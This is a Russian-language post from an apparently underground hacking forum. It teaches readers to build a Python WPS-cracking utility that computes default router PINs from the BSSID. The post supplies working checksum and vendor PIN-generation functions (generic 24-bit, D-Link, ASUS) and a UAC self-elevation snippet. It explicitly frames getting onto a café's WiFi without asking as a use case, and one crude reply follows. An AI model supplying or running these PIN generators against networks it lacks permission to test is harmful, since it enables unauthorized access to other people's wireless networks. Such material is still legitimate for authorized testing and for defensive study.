Пишем утилиту для взлома WiFi на Python

  • Автор темы HHIDE_DUMP
  • Дата начала
  • Просмотры 3K
  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

HHIDE_DUMP

Гость
H

HHIDE_DUMP

Гость
Приветствую, уважаемые пользователи Verminx.xyz

Бывает, что возникает необходимость подключиться к Wi-Fi, не зная пароль, — скажем, когда ты сидишь в кафе и стесняешься спросить его или, например, когда тебя наняли, чтобы провести пентест сети организации. Технология WPS уже давно помогает хакерам и в том и в другом. В этой статье мы посмотрим, как самостоятельно реализовать атаку, основанную на слабостях алгоритмов генерации WPS PIN.

Большинство современных роутеров поддерживает стандарт WPS (Wi-Fi Protected Setup), который позволяет за секунды установить безопасное соединение между устройством и роутером, минуя этап настройки шифрования и ввода пароля. Устройства подключаются по отдельному восьмизначному ключу WPS PIN, который состоит из цифр. Восьмая цифра — дайджест.

Из всего разнообразия методов поблагодарить соседа взлома беспроводных точек доступа с WPS можно выделить следующие:
-Подбор ПИН-кода или ключа безопасности методом грубой силы;
-Использование уязвимостей реализации;
-Социальная инженерия;
-Использование слабостей генерации ПИН-кодов.
В этой статье мы остановимся на последнем методе из списка.
Атака WPS Pixie Dust уже морально устарела, однако и сегодня мне встречаются подверженные ей роутеры. Проблема кроется в генерации случайных чисел и позволяет не ломать все восемь цифр в лоб, а угадывать лишь четыре из них, так как оставшиеся можно получить из ответов роутера.
Откуда берут стандартный PIN
Когда мы покупаем роутер, в нем уже содержится полученный специальным алгоритмом WPS PIN для первичного подключения к маршрутизатору через WPS. WPS PIN состоит из восьми цифр. Как производители его получают? Очевидно, что необходимо нечто уникальное для идентификации и генерации различных значений. Правильно — это MAC устройства, который мы можем получить из широковещательного BSSID.
BSSID (Basic Service Set Identifier) — уникальный идентификатор беспроводной сети. Зачастую BSSID совпадает с адресом устройства Ethernet MAC.
Генерация WPS PIN на примере
Как ты уже понял, все начинается с BSSID. Подключаем к сети нашу точку доступа
Анализируем любым удобным способом (например, Dumpper).

BSSID получен: C4:6E:1F(Дальше не могу дописать т.к оно поставит смайл, а не нужный символ, ну думаю вы поняли)
Настало время приключений: открываем браузер и начинаем бороздить различные (в том числе зарубежные) сайты и форумы, чтобы узнать, как работают алгоритмы генерации ПИН-кодов у конкретного производителя сетевого оборудования. Если же лень сильнее интереса, то всегда можно «выдернуть» эти функции из сторонних программных продуктов с открытым исходным кодом.
Предположим, мы нашли, что большинство стареньких роутеров этого вендора используют алгоритм генерации ПИН-кода из последних трех октетов MAC-адреса устройства: 24-bit PIN = MAC[7..12].
Вот реализация этого алгоритма на Python:

Python:
from math import floor
MAC = 'C46E1F6A8D04'
One = Two = (int(MAC, 16) & 0xFFFFFF) % 10000000
Var1 = 0
while Two:
  Var1 += 3 * (Two % 10)
  Two = floor(Two / 10)
  Var1 += Two % 10
  Two = floor(Two / 10)
Var2 = (One * 10) + ((10 - (Var1 % 10)) % 10)
Var3 = str(int(Var2))
result = Var3.zfill(8)
Результатом работы скрипта будет ПИН-код 69829161. Проверим его достоверность

Подготовка и требования
Приступим. При разработке собственной утилиты для тестирования беспроводных точек доступа нам потребуется:
-Windows 7 и выше;
-Python 3 и выше;
-Удобная IDE;
-Любимый браузер;
-Личный маршрутизатор Wi-Fi с технологией WPS «для пыток»;
-WpsWin (входит в состав того самого Dumpper);
-IDA и Hex-Rays Tool.
Сразу, забегая вперед, скажу, что запускать готовый скрипт нужно будет с правами администратора. Можно с этим либо согласиться и перейти непосредственно к разработке, либо читать дальше.
Автозапуск с правами администратора
Для автозапуска мы будем использовать следующий код:

Python:
import ctypes, sys
if ctypes.windll.shell32.IsUserAnAdmin():
  if __name__ == "__main__":
    main()
else:
  ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
Теперь при попытке запустить скрипт вызов будет передан на UAC (если активен) и откроется новое окно терминала, где наш код выполнится от имени администратора.
Разработка
Прежде всего добавим алгоритм подсчета дайджеста MAC-адреса (он уже был выше):

Python:
from math import floor
def checksum(mac):
  mac %= 10000000
  var = 0
  temp = mac
  while temp:
    var += 3 * (temp % 10)
    temp = floor(temp / 10)
    var += temp % 10
    temp = floor(temp / 10)
  return (mac * 10) + ((10 - (var % 10)) % 10)
А также несколько функций генерации заветных ПИН-кодов.
Это далеко не полный список существующих алгоритмов, поэтому оставшиеся варианты будут твоим домашним заданием.

Python:
def pin24(BSSID):
  temp = int(BSSID,16) & 0xFFFFFF
  temp = checksum(temp)
  temp = str(int(temp))
  return temp.zfill(8)

def pinDLink(BSSID):
  temp = (int(BSSID, 16) & 0xFFFFFF) ^ 0x55AA55
  temp ^= ((temp & 0xF) << 4) | ((temp & 0xF) << 8) | ((temp & 0xF) << 12) | ((temp & 0xF) << 16) | ((temp & 0xF) << 20)
  temp %= 10000000
  if temp < 1000000:
    temp += ((temp % 9) * 1000000) + 1000000
  temp = checksum(temp)
  temp = str(int(temp))
  return temp.zfill(8)

def pinDLinkInc1(BSSID):
  temp = int(BSSID, 16) + 1
  return pinDLink(hex(temp))

def pinASUS(BSSID):
  temp = format(int(BSSID, 16), '02x')
  temp = str(temp).zfill(12)
  var = [int(temp[0:2], 16), int(temp[2:4], 16), int(temp[4:6], 16), int(temp[6:8], 16),
     int(temp[8:10], 16), int(temp[10:12], 16)]
  pin = []
  for i in range(7):
    pin.append((var[i % 6] + var[5]) % (10 - ((i + var[1] + var[2] + var[3] + var[4] + var[5]) % 7)))
  temp = int(''.join(str(i) for i in pin))
  temp = checksum(temp)
  temp = str(int(temp))
  return temp.zfill(8)
Discord - 蝶UndetectedButterFly1337.pw#0187
vk -
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

telegram - @UndetectedButterFly
Оригинал -
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
 

HHIDE_DUMP

Гость
H

HHIDE_DUMP

Гость
Чё творит этот человек. Ебать у тебя посты серьёзные,я бы тебя в депутаты взял
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя